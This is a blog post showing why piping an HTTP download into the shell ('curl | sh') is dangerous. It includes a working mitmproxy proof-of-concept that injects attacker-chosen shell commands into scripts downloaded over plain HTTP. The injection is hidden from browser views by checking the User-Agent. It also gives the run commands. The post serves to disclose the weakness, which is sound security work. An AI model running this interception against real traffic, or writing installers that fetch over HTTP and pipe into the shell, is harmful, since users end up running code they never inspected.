Owning "curl | sh" for Fun and ProfitJune 14, 2015 -
If you're a web developer, you've probably seen sites asking you to install their software package like so:
curl -s http://example.com/install.sh | sh
There are a number of subtle problems with piping a HTTP response into the shell (for example, if your connection is interrupted part-way through the script, the script may end up partially executed, as written about here), but let's look at the most obvious problem: the ease with which a man-in-the-middle can modify code you are about to directly execute.
Users piping unencrypted web traffic into the shell is about as easy it gets for me as an attacker, because:
- shell scripts are easily identified as such, and so are easy to target
- shell scripts are written in plaintext, so it's straightforward to inject our own code into it
- if they look at it at all, users are likely to inspect the code with a separate tool than they use to download and execute it (the browser versus curl or wget), and I can conditionally respond to this.
I wrote a proof-of-concept script, using mitmproxy, that can detect scripts downloaded using this pattern and inject shell commands of my choosing.
Let's write a simple mitmproxy script to do this.
#!/usr/bin/python from libmproxy.protocol.http import decoded def start(context, argv): if len(argv) != 2: raise ValueError('Usage: -s "inject_shell.py payload.sh"') context.payload = get_payload(argv) def get_payload(payload_file): """ Read and return the payload file as a string """ f = open(payload_file, 'r') lines = f.readlines() f.close() return '\n'.join(lines) def is_shell_script(resp): """ Returns true if the request is a possible shell script """ shell_content_type = False content_type = resp.headers.get_first("content-type", "") # if content-type is set, should be text/* if content_type != "" and not content_type.startswith('text/'): return False # and should start with shebang if not resp.content.startswith('#!'): return False return True def response(context, flow): resp = flow.response req = flow.request with decoded(resp): if is_shell_script(resp): flow.response.content = flow.response.content.replace( '\n', '\n' + context.payload + '\n', 1)
When a request is made through mitmproxy, this will modify any response that looks like a shell script to contain our payload. Let's modify this so we only add the payload if the file is downloaded via curl or wget, so that a user inspecting the code in the browser doesn't see what we've injected:
def is_cli_tool(req): """ Returns true if the user-agent looks like curl or wget """ user_agent = req.headers.get_first("User-Agent", "") if user_agent.startswith('curl'): return True if user_agent.startswith('Wget'): return True return False def response(context, flow): # ... with decoded(resp): if is_shell_script(resp) and is_cli_tool(req): # ...
To test it out, run mitmproxy with this script in regular mode:
mitmproxy -s "inject_shell.py payload.sh
Configure your browser to proxy HTTP connections through
localhost:8080, and take a look at a shell script over HTTP
(like any of the http:// links here). Looks fine, right?
Now try it via curl:
curl -x localhost:8080 http://example.com/install.sh
You should now see the payload injected into the response. Same with wget:
wget -qO- http://example.com/install.sh
Security is fun. Source is up on github here.